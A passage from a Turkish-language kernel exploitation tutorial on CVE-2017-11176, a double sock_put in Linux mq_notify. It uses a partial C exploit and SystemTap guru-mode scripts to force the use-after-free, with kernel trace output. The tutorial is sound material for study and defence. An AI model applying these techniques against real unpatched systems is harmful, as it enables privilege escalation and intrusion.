      if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
      {
        perror("socket");
        goto fail;
      }
      printf("netlink socket created = %d\n", sock_fd);

      // sigevent yapısını başlat
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;
      sigev.sigev_signo = sock_fd;  // <--- artık '-1' değil

      if (_mq_notify((mqd_t)-1, &sigev))
      {
        perror("mq_notify");
        goto fail;
      }
      printf("mq_notify succeed\n");

      // TODO: exploit kodu

      return 0;

    fail:
      printf("exploit failed!\n");
      return -1;
    }

Ve çalıştıralım:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor  //Yanlış dosya tanımlayıcısı!
exploit failed! //istismar kodu başarısız oldu

(18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)
(18998-18998) [skb] <<== skb_put = ffff88000a0a2800
(18998-18998) [vfs] ==>> fget (fd=0x3)                                          // <--- bu sefer '3' bekliyoruz
(18998-18998) [vfs] <<== fget = ffff88003cf14d80                                // GEÇTİ
(18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)
(18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000           // GEÇTİ
(18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 timeo=0xffff88003df8ff40 ssk=0x0)
(18998-18998) [netlink] <<== netlink_attachskb = 0                              // İSTEMEDİĞİMİZ DAVRANIŞ
(18998-18998) [vfs] ==>> fget (fd=0xffffffff)
(18998-18998) [vfs] <<== fget = 0
(18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
(18998-18998) [netlink] <<== netlink_detachskb
(18998-18998) [SYSCALL] <<== mq_notify= -9

Yukarıdaki hata en baştaki stap trace hatasına gerçekten de çok benziyor ancak buradaki fark, koddaki her veriyi (dosya tanımlayıcısı, sigev) biz kontrol ediyoruz, başka bir kütüphaneden kaynaklanmıyor. fget() ve netlink_getsockbyfilp() çağrılarının ikisi de NULL dönmediği için, rahatlıkla iki kontrolü de geçtiğimizi söyleyebiliriz.

netlink_attachskb()’i Yeniden Deneme Yoluna Erişmek İçin Zorlamak

Önceki kodda 0 değerini dönen netlink_attachskb() çağrısına erişebildik. Bu demek oluyor ki, “olağan” yoldan ilerlemiş olduk. Tam olarak gitmek istediğimiz yol bu değil aslında, bizler yeniden deneme yoluna ulaşabilmek istiyoruz (1 değeri dönecek). Bu sebeple, kernel koduna geri dönelim:

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;

      nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
        DECLARE_WAITQUEUE(wait, current);
        if (!*timeo) {
          // ... kes (buraya hiç ulaşamadık) ...
        }

        __set_current_state(TASK_INTERRUPTIBLE);
        add_wait_queue(&nlk->wait, &wait);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
          *timeo = schedule_timeout(*timeo);

        __set_current_state(TASK_RUNNING);
        remove_wait_queue(&nlk->wait, &wait);
        sock_put(sk);

        if (signal_pending(current)) {
          kfree_skb(skb);
          return sock_intr_errno(*timeo);
        }
        return 1;                             // <---- tek yol
      }
      skb_set_owner_r(skb, sk);
      return 0;
    }

netlink_attachskb() çağrısının “1” değerini döndürmesinin tek yolu , önce [0] kontrolünü geçmektir:

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

System Tap’in gerçek gücünü açığa çıkarmanın ve Guru Moduna girmenin zamanı geldi! Guru Modu, kendi probe’larımız tarafından çağrılabilen gömülü C kodu yazabilmemize imkan verir. Bu olay tıpkı bir Linux Çekirdek Modülünde (LKM-Linux Kernel Module) olduğu gibi, çalışma zamanında enjekte edilecek olan çekirdek kodunu doğrudan yazmaya benzer diyebiliriz. Bu nedenle bu aşamada yapıalacak herhangi bir programlama hatası, kernel’ın çökmesine neden olacaktır! Şimdiden sonra bir kernel geliştiricisi oldunuz :slight_smile:

Burada yapacağımız şey ya struct sock “sk” ve/veya struct netlink_sock “nlk” veri yapılarını değiştirmektir, böylece koşul true olacaktır. Ancak, bunu yapmadan önce, mevcut struct sock sk durumu hakkında bazı bilgilere ihtiyacımız var.

Netlink_attachskb() probe’unu değiştirelim ve bazı gömülü C kodları (“%{” ve “%}” bölümleri) ekleyelim.

    %{
    #include <net/sock.h>
    #include <net/netlink_sock.h>
    %}

    function dump_netlink_sock:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      struct netlink_sock *nlk = (void*) sk;

      _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
      _stp_printf("- sk = %p\n", sk);
      _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
      _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
      _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

      _stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));

      _stp_printf("-={ dump_netlink_sock: END}=-\n");
    %}

    probe kernel.function ("netlink_attachskb")
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $parms)

        dump_netlink_sock($sk);
      }

Uyarı: Yeniden hatırlatalım, buradaki kod kernel-land alanında çalışmaktadır, herhangi bir hata kernel’ın çökmesine neden olur.

SystemTap’i -g (i.e. guru) parametresi ile çalıştıralım:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor //Yanlış dosya tanımlayıcısı!
exploit failed! //istismar kodu başarısız oldu

(19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(19681-19681) [uland] ==>> copy_from_user ()
(19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)
(19681-19681) [skb] <<== skb_put = ffff88000a0a2200
(19681-19681) [vfs] ==>> fget (fd=0x3)
(19681-19681) [vfs] <<== fget = ffff88003d0d5680
(19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)
(19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800
(19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 timeo=0xffff88003df5bf40 ssk=0x0)

-={ dump_netlink_sock: 0xffff880036256800 }=-
- sk = 0xffff880036256800
- sk->sk_rmem_alloc = 0         // <-----
- sk->sk_rcvbuf = 133120        // <-----
- sk->sk_refcnt = 2
- nlk->state = 0                // <-----
-={ dump_netlink_sock: END}=-

(19681-19681) [netlink] <<== netlink_attachskb = 0
(19681-19681) [vfs] ==>> fget (fd=0xffffffff)
(19681-19681) [vfs] <<== fget = 0
(19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
(19681-19681) [netlink] <<== netlink_detachskb
(19681-19681) [SYSCALL] <<== mq_notify= -9

Gömülü stap fonksiyonu olan dump_netlink_sock(), netlink_attachskb() fonksiyonuna girilmeden önce doğru şekilde çağırılmıştır. Görüldüğü üzere, state değişkeninin ilk biti ayarlanmadığı gibi, sk_rmem_alloc’un değeri sk_rcvbuf’tan küçüktür… bu yüzden kontrolü geçemedik.

netlink_attachskb() fonksiyonunu çağırmadan önce nlk->state ’i ayarlayalım:

function dump_netlink_sock:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      struct netlink_sock *nlk = (void*) sk;

      _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
      _stp_printf("- sk = %p\n", sk);
      _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
      _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
      _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

      _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
      nlk->state |= 1;                                                  // <-----
      _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

      _stp_printf("-={ dump_netlink_sock: END}=-\n");
    %}

Ve çalıştıralım:

-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3

<<< CTRL-C'ye bastık >>>

^Cmake: *** [check] Interrupt


(20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(20002-20002) [uland] ==>> copy_from_user ()
(20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)
(20002-20002) [skb] <<== skb_put = ffff88002e142600
(20002-20002) [vfs] ==>> fget (fd=0x3)
(20002-20002) [vfs] <<== fget = ffff88003ddd8380
(20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)
(20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400
(20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 timeo=0xffff88002e233f40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88003dde0400 }=-
- sk = 0xffff88003dde0400
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after)  nlk->state = 1
-={ dump_netlink_sock: END}=-

<<< CTRL-C'ye bastık >>>

(20002-20002) [netlink] <<== netlink_attachskb = fffffffffffffe00   // <-----
(20002-20002) [SYSCALL] <<== mq_notify= -512

Hay aksi! mq_notify() çağrısı engele takıldı. (istismar kodunun ana iş parçacığı, sistem çağrısının içinde, kernel alanında takılı kaldı). Neyse ki CTRL-C ile kontrolü geri alabildik.

Bu sefer netlink_attachskb() fonksiyonu cevap olarak 0xfffffffffffffffe00 döndürdü(“-ERESTARTSYS” hata kodu-errno-). Başka bir deyişle, aşağıda belirtilen yola girdik:

if (signal_pending(current)) {
            kfree_skb(skb);
            return sock_intr_errno(*timeo); // <---- -ERESTARTSYS cevabını dön
        }

Bu sonuç netlink_attachskb() 'nin diğer yoluna gerçekten ulaşabildiğimiz anlamına geliyor, görev başarılı oldu!

Engele Takılmaktan Kaçınmak

mq_notify() 'ın engellenmesinin nedeni aşağıdaki kodda gizlidir:

__set_current_state(TASK_INTERRUPTIBLE);

        if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
            !sock_flag(sk, SOCK_DEAD))
            *timeo = schedule_timeout(*timeo);

        __set_current_state(TASK_RUNNING);

Daha sonra scheduling konusu hakkında daha ayrıntılı bilgileri ele alacağız, ancak şimdilik görevimizin özel bir koşul sağlanana kadar durdurulduğunu düşünün (buradaki her şey sıra beklemeyle alakalı).

Acaba ileri tarihe atılmaktan/engellenmekten kaçınabilir miyiz? Bunu yapabilmek için schedule_timeout() fonksiyonuna yapılan çağrıyı atlatabilmeliyiz. Bu noktada Sock’u “SOCK_DEAD” olarak işaretleyelim ve neler olduğuna bakalım. Bu aslında, “sk” içeriğinin değiştirilmesiyle(daha önce de yaptığımız gibi) sock_flag() fonksiyonunun true değer döndürülmesini sağlamak anlamına gelmektedir.

// [include/net/sock.h]'dan alınmıştır
    static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
    {
      return test_bit(flag, &sk->sk_flags);
    }

    enum sock_flags {
      SOCK_DEAD,      // <---- bunun 0 olması gerekiyor, stap ile kontrol edelim!
      ... kes ...
    }

Probe’u yeniden düzenleyelim:

// congested durum olarak işaretleyelim!
  _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
  nlk->state |= 1;            
  _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

  // DEAD durum olarak işaretleyelim
  _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
  _stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
  sk->sk_flags |= (1 << SOCK_DEAD);
  _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);

Yeniden başlatalım veee… güm! Exploit kodumuzun ana thread’i (iş parçacığı) kernel içinde sonsuz döngüye girdi çünkü:

  • netlink_attachskb() fonksiyonuna girer ve yeniden deneme yoluna ulaşır (zorladık)

  • iş parçacığımız engele takılmadı (atlattık)

  • netlink_attachskb() ”1” değerini döner

  • mq_notify(), “goto retry” etiketine ulaştı

  • fget() NULL olmayan bir değer döner…

  • netlink_getsockbyfilp() NULL dönmektedir

  • netlink_attachskb() fonksiyonuna yeniden gireriz…

  • …ve yeniden, ve yeniden…

Yani bizi engelleyen schedule_timeout() fonksiyonunu atlattık ancak bunu yaparken sosuz bir döngü oluşturduk.

Sonsuz Döngüden Kurtulmak

Hack’e devam edelim, böylece fget() ikinci çağrıda başarısız olsun! Bunu yapmanın yollarından birisi, dosya tanımlayıcımızı doğrudan FDT’den kaldırmak olacaktır (mesela NULL olarak atayabiliriz).

%{
#include <linux/fdtable.h>
%}

function remove_fd3_from_fdt:long (arg_unused:long)
%{
        _stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
        struct files_struct *files = current->files;
        struct fdtable *fdt = files_fdtable(files);
        fdt->fd[3] = NULL;
%}

    probe kernel.function ("netlink_attachskb")
    {
if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $parms)

        dump_netlink_sock($sk); //  soketi DEAD ve CONGESTED olarak işaretler
        remove_fd3_from_fdt(0);
      }
    }
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
mq_notify: Bad file descriptor //Yanlış dosya tanımlayıcısı!
exploit failed! //istismar kodu başarısız oldu

(3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3095-3095) [uland] ==>> copy_from_user ()
(3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)
(3095-3095) [skb] <<== skb_put = ffff88003144ac00
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = ffff880031475480
(3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)
(3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800
(3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 timeo=0xffff88002d79ff40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88003cf56800 }=-
- sk = 0xffff88003cf56800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3095-3095) [netlink] <<== netlink_attachskb = 1        // <-----
(3095-3095) [vfs] ==>> fget (fd=0x3)
(3095-3095) [vfs] <<== fget = 0                         // <-----
(3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
(3095-3095) [netlink] <<== netlink_detachskb
(3095-3095) [SYSCALL] <<== mq_notify= -9

Çok güzel, kernel deminki sonsuz döngüden çıkabiliyor. Ek olarak, saldırı senaryomuzu tamamlamaya giderek daha da yaklaşıyoruz:

  1. netlink_attachskb()1” değerini döndü

  2. ikinci fget() çağrısı NULL değer döndü

Yani yazılım hatasını tetikleyebildik mi?

Referans Sayacının (refcounter) Durumunu Kontrol Etmek

Her şeyin planımıza göre gittiğini göz önünde bulundurursak, yazılım hatası tetiklenmiş ve sock referans sayacı iki kez azaltılmış olmalı, haydi kontrol edelim.

Çıkış(exit) probe’unun çalışması sırasında, giriş (enter) probe’unun parametrelerini almak mümkün değil. Bu durum, netlink_attachskb()’den dönerken sock’un içeriğini kontrol edemeyeceğimiz anlamına gelmektedir.

Bunu yapmanın bir yolu netlink_getsockbyfilp() tarafından döndürülen sock işaretçisini global bir değişkende (betikteki sock_ptr değişkeni) saklamaktır. Ardından, dump_netlink_sock() ile gömülü “C” kodumuzu kullanarak değişkenin içeriğini okuyalım:

global sock_ptr = 0;                  // <------ global olarak tanımlama!

    probe syscall.mq_notify.return
    {
      if (execname() == "exploit")
      {
        if (sock_ptr != 0)                // <----- NULL atamalarına dikkat et, burası çekirdek alanı!
        {
          dump_netlink_sock(sock_ptr);
          sock_ptr = 0;
        }

        printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
      }
    }

    probe kernel.function ("netlink_getsockbyfilp").return
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
        sock_ptr = $return;                 // <----- depola
      }
    }

Yeniden çalıştır!

(3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(3391-3391) [uland] ==>> copy_from_user ()
(3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)
(3391-3391) [skb] <<== skb_put = ffff88003df9dc00
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = ffff88003d84ed80
(3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)
(3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800
(3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 timeo=0xffff8800317a7f40 ssk=0x0)
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 2               // <------------
- (before) nlk->state = 0
- (after) nlk->state = 1
- sk->sk_flags = 100
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
!!>>> REMOVING FD=3 FROM FDT <<<!!
(3391-3391) [netlink] <<== netlink_attachskb = 1
(3391-3391) [vfs] ==>> fget (fd=0x3)
(3391-3391) [vfs] <<== fget = 0
(3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
(3391-3391) [netlink] <<== netlink_detachskb
-={ dump_netlink_sock: 0xffff88002d72d800 }=-
- sk = 0xffff88002d72d800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
- sk->sk_refcnt = 0               // <-------------
- (before) nlk->state = 1
- (after) nlk->state = 1
- sk->sk_flags = 101
- SOCK_DEAD = 0
- sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
(3391-3391) [SYSCALL] <<== mq_notify= -9

Görüldüğü gibi sk->sk_refcnt iki defa azaltıldı! Başarılı biçimde yazılım hatasını tetikledik.

Sock’un referans sayacı sıfıra ulaştığından, struct netlink_sock nesnesi serbest bırakılacaktır. Diğer probe’ları ekleyelim:

... cut ...

(13560-13560) [netlink] <<== netlink_attachskb = 1
(13560-13560) [vfs] ==>> fget (fd=0x3)
(13560-13560) [vfs] <<== fget = 0
(13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
(13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)
(13560-13560) [kmem] <<== kfree = 
(13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- "sock"u serbest bırakalım
(13560-13560) [kmem] <<== kfree = 
(13560-13560) [sk] <<== __sk_free = 
(13560-13560) [sk] <<== sk_free = 
(13560-13560) [netlink] <<== netlink_detachskb

Sock nesnesi serbest bırakıldı ancak herhangi bir use-after-free göremiyoruz…

Neden Çökmedi?

Orijinal planımızın aksine, netlink_sock nesnesi netlink_detachskb() tarafından serbest bırakıldı. Sebep ise close() fonksiyonunu çağırmamamız (FDT girdisini sadece NULL olarak atadık). Diğer bir deyişle, dosya nesnesi aslında serbest bırakılamaz ve bu da netlink_sock nesnesinin referansının düşmemesine sebep olur. Yani bir referans sayacı azaltılmasına daha ihtiyacımız var.

Aslında çok sorun değil, çünkü burada doğrulamak istediğimiz şey, başvuru sayıcının iki kez azaltılmış olması(biri netlink_attachskb() ve diğeri netlink_detachskb() tarafından).

Olağan çalışma halinde (bizim close()'u çağırmamız), beklediğimiz ek referans sayacı düşüşü gerçekleşecek ve netlink_detachskb() bir use-after-free’ye sebep olacak… Hatta daha istismar kodunu daha iyi hale getirmek için bu use-after-free’yi daha sonraki bir zamana “erteleyeceğiz”.

Son SystemTap Betiği

Yazılım hatasını kernel alanından tetikleyen SystemTap betiğimizin son hali:

# mq_notify_force_crash.stp
#
# "stap -v -g ./mq_notify_force_crash.stp" ile guru modunda başlatın (guru modu)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger:long (arg_sock:long)
%{
  struct sock *sk = (void*) STAP_ARG_arg_sock;
  sk->sk_flags |= (1 << SOCK_DEAD); // iş parçacığının engellenmesinden kaçınma

  struct netlink_sock *nlk = (void*) sk;
  nlk->state |= 1;   //  netlink_attachskb() yeniden deneme yoluna girilmesi    

  struct files_struct *files = current->files;
  struct fdtable *fdt = files_fdtable(files);
  fdt->fd[3] = NULL; // ikinci fget() çağrısı başarısız olmakta
%}

probe kernel.function ("netlink_attachskb")
{
  if (execname() == "exploit")
  {
    force_trigger($sk);
  }
}

Aslında kolaymış değil mi? :slight_smile:

SONUÇ

Buraya kadar, Linux kernel amatörlerine kernel veri yapısı ve referans sayacı mantığı anlatılmıştır. Genel bilgileri (CVE açıklaması, yama notları) incelerken hatayı daha iyi anladık ve bir saldırı senaryosu tasarladık.

Ardından, exploit kodunu geliştirmeye başladık ve yazılım hatasının gerçekten yetkisiz bir kullanıcı tarafından tetiklenebilir olduğunu doğruladık. Bunu yaparak harika bir kernel aracı tanıttık: SystemTap. Ayrıca ilk yazılım hatamızla (library wrapper’larıyla) karşılaştık ve bunun nasıl tespit edileceğini gösterdik.

SystemTap’ın Guru Modunun yardımıyla, nihayet tetikleyiciyi kernel alanından tetiklenmeyi zorladık ve güvenilir bir şekilde çift sock_put() yazılım hatasını üretebileceğimizi doğruladık. Hatayı tetiklemek için üç şeyin gerekli olduğunu ortaya çıkardık:

  1. netlink_attachskb() fonksinonunu “1”döndürmeye zorla

  2. İstismar kodunun ana iş parcacığının engelini kaldır

  3. İkinci fget() çağrısını NULL değerini dönmeye zorla

Bir sonraki makalede, her bir kernel kodundaki değişikliği SystemTap ile tek tek gerçekleştireceğiz. Sonuç olarak ise yazılım hatasını kullanıcı alanından tetikleyen PoC oluşturacağız.

Umarız kullanıcı alanından yapılan kernel exploiting’ini beğenmişsinizdir, bir sonraki bölümde görüşmek üzere :slight_smile:

3 Beğeni